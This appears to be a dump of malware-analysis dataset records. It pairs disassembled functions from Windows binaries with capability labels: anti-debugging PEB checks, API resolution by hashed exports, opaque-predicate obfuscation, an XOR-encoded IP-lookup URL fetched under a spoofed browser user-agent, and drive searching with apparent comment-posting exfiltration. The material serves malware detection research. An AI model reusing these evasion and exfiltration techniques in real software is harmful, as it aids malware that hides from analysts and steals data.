joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006bb66
Capabilities:
Access peb ldr_data
Encrypt data using speck
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xbb6b0ee5
pushf
not eax
add eax, 0x7fd9baea
xor eax, 0x3195677b
rol eax, 9
popf
pushf
not eax
add eax, 0x3fdb6f33
xor eax, 0x48446f47
rol eax, 0xf7
popf
Function at 0x14008b35e
Capabilities:
Hash data using murmur3

Disassembly:
push rax
pushf
mov eax, 0x98ded13f
pushf
not eax
add eax, 0x542a3c6f
xor eax, 0x5e266a5b
rol eax, 0x39
popf
pushf
not eax
add eax, 0x422a607a
xor eax, 0xca2ee46
rol eax, 0x56
popf
pushf
not eax
add eax, 0x3a32c87b
xor eax, 0x2ddd8920
rol eax, 0xea
popf
cmp eax, 4
jne 0x14008b3ae
popf
pop rax
jmp 0x14008b5dd
cmp eax, 0
jne 0x14008b3bd
popf
pop rax
jmp 0x14008b3ea
cmp eax, 2
jne 0x14008b3cc
popf
pop rax
jmp 0x14008b543
cmp eax, 1
jne 0x14008b3db
popf
pop rax
jmp 0x14008b483
cmp eax, 3
jne 0x14008b3ea
popf
pop rax
jmp 0x14008b59f
mov r8, qword [rcx + 0x10]
mov r9, qword [rcx + 0x18]
cmp r8, r9
jae 0x14008b450
push rax
pushf
mov eax, 0xd9121cd5
pushf
not eax
add eax, 0x333c5bb0
xor eax, 0x254bb797
rol eax, 0x38
popf
pushf
not eax
add eax, 0x4ec078e8
xor eax, 0x6bb87a82
rol eax, 0x4a
popf
pushf
not eax
add eax, 0x312610fa
xor eax, 0x4cf7deaf
rol eax, 0x54
popf
pushf
not eax
add eax, 0x6cede1cf
xor eax, 0x4edd693a
rol eax, 0x58
popf
jmp 0x14008b39f
push rax
pushf
mov eax, 0xb8c362f
pushf
not eax
add eax, 0x522ad30f
xor eax, 0x7ceb009f
rol eax, 0x9d
popf
pushf
not eax
add eax, 0x1f72636e
xor eax, 0x1823afa5
rol eax, 0x1c
popf
jmp 0x14008b39f
lea rax, [r8 + 1]
mov qword [rcx + 0x10], rax
cmp r9, 0xf
jbe 0x14008b4ea
push rax
pushf
mov eax, 0x43f87acf
pushf
not eax
add eax, 0x152a5c09
xor eax, 0x18dfa17b
rol eax, 0x18
popf
pushf
not eax
add eax, 0xade2754
xor eax, 0x5c36b80d
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x6d285170
xor eax, 0x2d6452d3
rol eax, 0xc2
popf
pushf
not eax
add eax, 0x41e39635
xor eax, 0x8c77f01
rol eax, 0x50
popf
jmp 0x14008b39f
push rax
pushf
mov eax, 0x692bf384
pushf
not eax
add eax, 0x5ec1c384
xor eax, 0x685a0239
rol eax, 0x60
popf
pushf
not eax
add eax, 0x1ebb5c08
xor eax, 0x64cc895d
rol eax, 0x38
popf
pushf
not eax
add eax, 0x691521cc
xor eax, 0x43305cd0
rol eax, 0x50
popf
pushf
not eax
add eax, 0x18da98af
xor eax, 0x12c689ae
rol eax, 3
popf
jmp 0x14008b39f
mov rcx, qword [rcx]
push rax
pushf
mov eax, 0x29ae88f2
pushf
not eax
add eax, 0x2c7f3e29
xor eax, 0x4fe4c336
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x2d044d8b
xor eax, 0x36f8e877
rol eax, 0x82
popf
pushf
not eax
add eax, 0xfccf858
xor eax, 0x7b712478
rol eax, 0x50
popf
pushf
not eax
add eax, 0x141a1a6e
xor eax, 0x61fef0b1
rol eax, 0xda
popf
jmp 0x14008b39f
mov byte [rcx + r8], dl
mov byte [rcx + r8 + 1], 0
ret
movzx r9d, dl
jmp fcn.140092eed
Function at 0x1400110be
Capabilities:
Get disk information

Disassembly:
jmp 0x140012f30
push rbp
push rdi
sub rsp, 0x208
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x14002a32a]
call fcn.1400114ce
nop
mov ecx, 0x2aa6d636
call fcn.14001121c
mov qword [rbp + 8], rax
call fcn.1400114a1
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x140013005
mov rcx, qword [rbp + 0x28]
call fcn.140011217
mov edx, eax
mov rcx, qword [rbp + 0x28]
call fcn.140011087
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140012feb
mov r8, qword [rbp + 0x48]
mov rdx, qword [str.54eea01fed409fd79cbcc515ac11da7a3df7c468663877f711557500a0c745f2]
mov rcx, qword [section..data]
call fcn.1400113b6
mov qword [rbp + 0x68], rax
cmp qword [rbp + 0x68], 0
jne 0x140012fde
mov rdx, qword [rbp + 0x68]
lea rcx, str.PostComment_failed_with_error_code:__d_n
call fcn.140011244
nop
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ucrtbased.dll_free]
nop
jmp 0x140012ff8
lea rcx, str.Failed_to_encode_metadata_to_base64._n
call fcn.140011244
nop
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_free]
nop
jmp 0x140013012
lea rcx, str.Failed_to_retrieve_metadata._n
call fcn.140011244
nop
mov rax, qword [0x14001f980]
mov qword [rbp + 0x88], rax
mov ecx, 0xfffffff5
call qword [rbp + 8]
mov qword [rbp + 0xa8], rax
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x1c8]
call fcn.140012550
mov rcx, rax
call fcn.140012610
mov word [rbp + 0xc4], ax
jmp 0x140013078
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x88]
inc ax
mov ecx, 2
imul rcx, rcx, 0
mov word [rbp + rcx + 0x88], ax
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x88]
cmp eax, 0x5a
jg 0x1400130f9
lea rcx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x1400130f4
mov dx, 0xe
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
mov eax, 2
imul rax, rax, 0
movzx eax, word [rbp + rax + 0x88]
mov edx, eax
lea rcx, str._t___Searching_in_drive__c:_n
call fcn.140011032
nop
movzx edx, word [rbp + 0xc4]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
nop
lea rcx, [rbp + 0x88]
call fcn.140011014
nop
jmp 0x140013053
lea r8, str.This_program_cannot_be_run_in_DOS_mode
mov rdx, qword [str.54eea01fed409fd79cbcc515ac11da7a3df7c468663877f711557500a0c745f2]
mov rcx, qword [section..data]
call fcn.1400113b6
mov qword [rbp + 0xe8], rax
cmp qword [rbp + 0xe8], 0
jne 0x140013138
mov rdx, qword [rbp + 0xe8]
lea rcx, str.PostComment_failed_with_error_code:__d_n
call fcn.140011244
nop
lea rcx, str.___Finished_n
call fcn.140011244
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x14001f770]
call fcn.140011429
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.14001125d
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret
Function at 0x140011163
Capabilities:
Reference http user-agent string

Disassembly:
jmp 0x1400139c0
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024040]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x14002a3ff]
call fcn.1400114ce
nop
mov qword [rbp + 0x48], 0
mov ecx, 0x53a601f1
call fcn.14001121c
mov qword [rbp + 0x68], rax
mov ecx, 0x7af762ae
call fcn.14001121c
mov qword [rbp + 0x88], rax
mov ecx, 0xe6ea4da4
call fcn.14001121c
mov qword [rbp + 0xa8], rax
mov ecx, 0x2854d3aa
call fcn.14001121c
mov qword [rbp + 0xc8], rax
mov ecx, 0xfff88bb7
call fcn.14001121c
mov qword [rbp + 0xe8], rax
mov ecx, 0xf9a6edf2
call fcn.14001121c
mov qword [rbp + 0x108], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_91.0.4472.124_Safari_537.36
call qword [rbp + 0x68]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x140013c27
mov byte [rbp + 0x128], 0xc2
mov byte [rbp + 0x129], 0xde
mov byte [rbp + 0x12a], 0xde
mov byte [rbp + 0x12b], 0xda
mov byte [rbp + 0x12c], 0x90
mov byte [rbp + 0x12d], 0x85
mov byte [rbp + 0x12e], 0x85
mov byte [rbp + 0x12f], 0xcb
mov byte [rbp + 0x130], 0xda
mov byte [rbp + 0x131], 0xc3
mov byte [rbp + 0x132], 0x84
mov byte [rbp + 0x133], 0xc3
mov byte [rbp + 0x134], 0xda
mov byte [rbp + 0x135], 0xc3
mov byte [rbp + 0x136], 0xcc
mov byte [rbp + 0x137], 0xd3
mov byte [rbp + 0x138], 0x84
mov byte [rbp + 0x139], 0xc5
mov byte [rbp + 0x13a], 0xd8
mov byte [rbp + 0x13b], 0xcd
mov byte [rbp + 0x13c], 0xaa
mov edx, 0x15
lea rcx, [rbp + 0x128]
call fcn.1400112a8
nop
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x128]
mov rcx, qword [rbp + 8]
call qword [rbp + 0x88]
mov qword [rbp + 0x28], rax
mov edx, 0x15
lea rcx, [rbp + 0x128]
call fcn.1400112a8
nop
cmp qword [rbp + 0x28], 0
je 0x140013c1c
lea rax, [rbp + 0x158]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov dword [rbp + 0x194], 0
lea r9, [rbp + 0x194]
mov r8d, 0x1f
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0xa8]
test eax, eax
je 0x140013c11
cmp dword [rbp + 0x194], 0
jbe 0x140013c11
mov eax, dword [rbp + 0x194]
inc eax
mov eax, eax
mov ecx, eax
call qword [rbp + 0xe8]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
je 0x140013c11
mov eax, dword [rbp + 0x194]
mov r8d, eax
lea rdx, [rbp + 0x158]
mov rcx, qword [rbp + 0x48]
call qword [rbp + 0x108]
nop
mov eax, dword [rbp + 0x194]
mov rcx, qword [rbp + 0x48]
mov byte [rcx + rax], 0
mov rcx, qword [rbp + 0x28]
call qword [rbp + 0xc8]
nop
mov rcx, qword [rbp + 8]
call qword [rbp + 0xc8]
nop
mov rax, qword [rbp + 0x48]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001fb90]
call fcn.140011429
mov rax, rdi
mov rcx, qword [rbp + 0x268]
xor rcx, rbp
call fcn.14001125d
lea rsp, [rbp + 0x278]
pop rdi
pop rbp
ret
Function at 0x1400111b8
Capabilities:
Check for peb beingdebugged flag

Disassembly:
jmp 0x1400153d0
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x14002a67a]
call fcn.1400114ce
nop
mov rax, qword gs:[0x60]
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movzx eax, byte [rax + 2]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret

Function at 0x14001121c
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
jmp 0x140012240
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x20]
lea rcx, [0x14002a253]
call fcn.1400114ce
nop
mov rax, qword gs:[0x60]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
cmp qword [rax + 0x30], 0
je 0x140012420
mov rax, qword [rbp + 0x128]
mov rax, qword [rax + 0x30]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x168], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x168]
mov eax, dword [rcx + rax + 0x88]
mov dword [rbp + 0x184], eax
mov rax, qword [rbp + 0x128]
mov rax, qword [rax]
mov qword [rbp + 0x128], rax
cmp dword [rbp + 0x184], 0
jne 0x14001231e
jmp 0x1400122a2
mov eax, dword [rbp + 0x184]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x18]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x48], rax
mov dword [rbp + 0xa4], 0
jmp 0x14001237a
mov eax, dword [rbp + 0xa4]
inc eax
mov dword [rbp + 0xa4], eax
mov eax, dword [rbp + 4]
cmp dword [rbp + 0xa4], eax
jae 0x14001241b
mov rax, qword [rbp + 0x48]
mov eax, dword [rax]
add rax, qword [rbp + 0x148]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
add rax, 4
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x68]
call fcn.140011181
mov eax, eax
cmp rax, qword [rbp + 0x280]
jne 0x140012416
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0xa4]
shl ecx, 1
mov ecx, ecx
movzx eax, word [rax + rcx]
mov word [rbp + 0x24], ax
mov rax, qword [rbp + 0x88]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
movzx ecx, word [rbp + 0x24]
shl ecx, 2
movsxd rcx, ecx
mov eax, dword [rax + rcx]
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov rax, rcx
jmp 0x140012422
jmp 0x14001236c
jmp 0x1400122a2
xor eax, eax
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x1400112c1
Capabilities:
Terminate process

Disassembly:
jmp 0x140016970
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x14001136b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140017d30
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140017d50
xor al, al
jmp 0x140017dd1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140017d63
xor al, al
jmp 0x140017dd1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140017d8d
xor al, al
jmp 0x140017dd1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140017da1
xor al, al
jmp 0x140017dd1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140017db3
xor al, al
jmp 0x140017dd1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140017dcf
xor al, al
jmp 0x140017dd1
mov al, 1
add rsp, 0x38
ret
Function at 0x140015bb0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400114f6
movzx eax, al
test eax, eax
jne 0x140015bd0
mov ecx, 7
call fcn.140011433
nop
mov byte [rsp + 0x20], 0
call fcn.140011456
mov byte [rsp + 0x21], al
cmp dword [0x140024b88], 1
jne 0x140015bf4
mov ecx, 7
call fcn.140011433
nop
jmp 0x140015c4c
cmp dword [0x140024b88], 0
jne 0x140015c47
mov dword [0x140024b88], 1
lea rdx, [0x14001e660]
lea rcx, [0x14001e330]
call fcn.140011249
test eax, eax
je 0x140015c28
mov eax, 0xff
jmp 0x140015d51
lea rdx, [0x14001e220]
lea rcx, [section..rdata]
call fcn.140011447
mov dword [0x140024b88], 2
jmp 0x140015c4c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001141a
call fcn.140011398
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140015ca9
mov rcx, qword [rsp + 0x30]
call fcn.1400111e0
movzx eax, al
test eax, eax
je 0x140015ca9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002b020]
nop
call fcn.1400113de
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140015cdd
mov rcx, qword [rsp + 0x38]
call fcn.1400111e0
movzx eax, al
test eax, eax
je 0x140015cdd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400114b0
nop
call fcn.140015e00
mov dword [rsp + 0x28], eax
call fcn.14001136b
movzx eax, al
test eax, eax
jne 0x140015cfc
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140015d0b
call fcn.1400114ba
nop
xor edx, edx
mov cl, 1
call fcn.1400111c7
mov eax, dword [rsp + 0x28]
jmp 0x140015d51
add rsp, 0x68
ret
Function at 0x1800066e0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x18000673d
lea rbx, [0x18012b640]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180006724
cmp r10, 2
jb 0x180006724
cmp byte [r9], r8b
jne 0x180006724
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180006700
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x18000677f
lea rbx, [0x18012b640]
cmp r8b, 0x23
jne 0x180006763
cmp byte [r9], r8b
jne 0x180006763
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180006750
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x1800068d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x1800068ea
mov qword [r8], 0
lea rdx, [0x18012af08]
call fcn.180006790
mov rbx, rax
test rax, rax
jne 0x18000690a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call fcn.1800e297c
mov esi, eax
cmp eax, 0xffffffff
je 0x1800069f2
xor edx, edx
mov r8d, 2
mov rcx, rbx
call fcn.1800e33ec
test eax, eax
jne 0x1800069f2
mov rcx, rbx
call fcn.1800e297c
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x1800069f2
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call fcn.1800e33ec
test eax, eax
jne 0x1800069f2
cmp rdi, 0xffffffffffffffff
je 0x1800069f2
mov rax, qword [0x1801823d8]
test rax, rax
je 0x180006984
inc dword [rax + 0xf0]
mov rdx, qword [0x180182408]
mov rcx, rdi
call qword [0x180180ec8]
mov rsi, rax
test rax, rax
je 0x1800069f2
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call fcn.1800e4050
mov rcx, rbx
cmp rax, rdi
je 0x1800069e0
call fcn.1800e30d0
mov rax, qword [0x1801823d8]
test rax, rax
je 0x1800069ce
dec dword [rax + 0xf0]
mov rdx, qword [0x180182408]
mov rcx, rsi
call qword [0x180180ed0]
jmp 0x1800069fa
call fcn.1800e30d0
test r14, r14
je 0x1800069ed
mov qword [r14], rdi
mov rax, rsi
jmp 0x1800069fc
mov rcx, rbx
call fcn.1800e30d0
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
Function at 0x18000a8c0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x110]
lea r10, [0x18012b640]
mov rax, qword [rcx + 0xf8]
movss xmm1, dword [rcx + 0x114]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0xf0]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
mov eax, r8d
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 0xc]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
shr r8, 0x18
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx edx, r9b
shr r9d, 8
xor r8, rdx
xor r9d, dword [r10 + r8*4]
not r9d
mov eax, r9d
add rsp, 0x18
ret
Function at 0x18000de80
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, qword [0x1801823d8]
mov r14d, edx
mov r12d, dword [rsp + 0x90]
movaps xmmword [rsp + 0x30], xmm6
mov rbx, qword [rdi + 0x3f48]
mov eax, dword [rbx + 0x14]
and eax, 4
or eax, 0x1000103
or r12d, eax
cmp qword [rbx + 0x1a8], 0
jne 0x18000dedb
cmp qword [rdi + 0x4bb8], 0
mov eax, 0x250
je 0x18000dee0
mov eax, 0x220
movss xmm5, dword [rax + rbx]
xorps xmm4, xmm4
movss xmm2, dword [rax + rbx + 4]
xor r15d, r15d
cvttss2si eax, dword [r8]
subss xmm5, dword [rbx + 0x100]
subss xmm2, dword [rbx + 0x104]
movd xmm1, eax
cvttss2si eax, dword [r8 + 4]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
ucomiss xmm1, xmm4
cvtdq2ps xmm0, xmm0
jp 0x18000df26
mov eax, 1
je 0x18000df29
mov eax, r15d
ucomiss xmm0, xmm4
jp 0x18000df36
jne 0x18000df36
mov r15d, 2
movss xmm3, dword [0x180168000]
or r15d, eax
comiss xmm4, xmm1
jb 0x18000df51
addss xmm5, xmm1
movaps xmm1, xmm5
maxss xmm1, xmm3
comiss xmm4, xmm0
jb 0x18000df61
addss xmm2, xmm0
movaps xmm0, xmm2
maxss xmm0, xmm3
or dword [rdi + 0x4828], 2
xor edx, edx
movss dword [rdi + 0x4848], xmm1
movss dword [rdi + 0x484c], xmm0
mov dword [rdi + 0x4830], 1
mov r9, qword [rbx + 8]
test rcx, rcx
je 0x18000dfaa
mov dword [rsp + 0x28], r14d
lea r8, str._s__s__08X
mov qword [rsp + 0x20], rcx
lea rcx, [rsp + 0x70]
call fcn.180006600
jmp 0x18000dfc0
lea r8, str._s__08X
mov dword [rsp + 0x20], r14d
lea rcx, [rsp + 0x70]
call fcn.180006600
mov rcx, qword [rsp + 0x70]
mov r8d, r12d
movss xmm6, dword [rdi + 0x37f8]
xor edx, edx
call fcn.180010ca0
mov rsi, qword [rdi + 0x3f48]
movzx ebp, al
movss dword [rdi + 0x37f8], xmm6
cmp word [rsi + 0xc2], 1
mov dword [rsi + 0x80], r14d
mov byte [rsi + 0xd2], r15b
jne 0x18000e00e
movsd xmm0, qword [rsi + 0x20]
movsd qword [rbx + 0x100], xmm0
mov r9d, r14d
lea rdx, [0x18012ae29]
not r9d
lea r10, [0x18012b640]
mov ebx, r9d
mov r8b, 0x23
cmp r8b, 0x23
jne 0x18000e03b
cmp byte [rdx], r8b
jne 0x18000e03b
cmp byte [rdx + 1], r8b
cmove ebx, r9d
movzx ecx, bl
movzx eax, r8b
movzx r8d, byte [rdx]
xor rcx, rax
shr ebx, 8
inc rdx
xor ebx, dword [r10 + rcx*4]
test r8b, r8b
jne 0x18000e028
not ebx
cmp dword [rdi + 0x3fa8], ebx
jne 0x18000e067
call fcn.18000abb0
cmp dword [rdi + 0x4950], r14d
jne 0x18000e0b4
bt r12d, 0x17
jb 0x18000e0b4
cmp word [rsi + 0x15c], 0
jne 0x18000e08a
cmp byte [rsi + 0x162], 0
je 0x18000e0b4
xor edx, edx
mov rcx, rsi
call fcn.1800131a0
xor edx, edx
mov rcx, rsi
call fcn.180019270
mov rdx, rsi
mov ecx, ebx
call fcn.18000aab0
mov eax, dword [rdi + 0x4974]
mov dword [rdi + 0x3fd0], eax
mov rbx, qword [rsp + 0x78]
movzx eax, bpl
mov rbp, qword [rsp + 0x80]
movaps xmm6, xmmword [rsp + 0x30]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret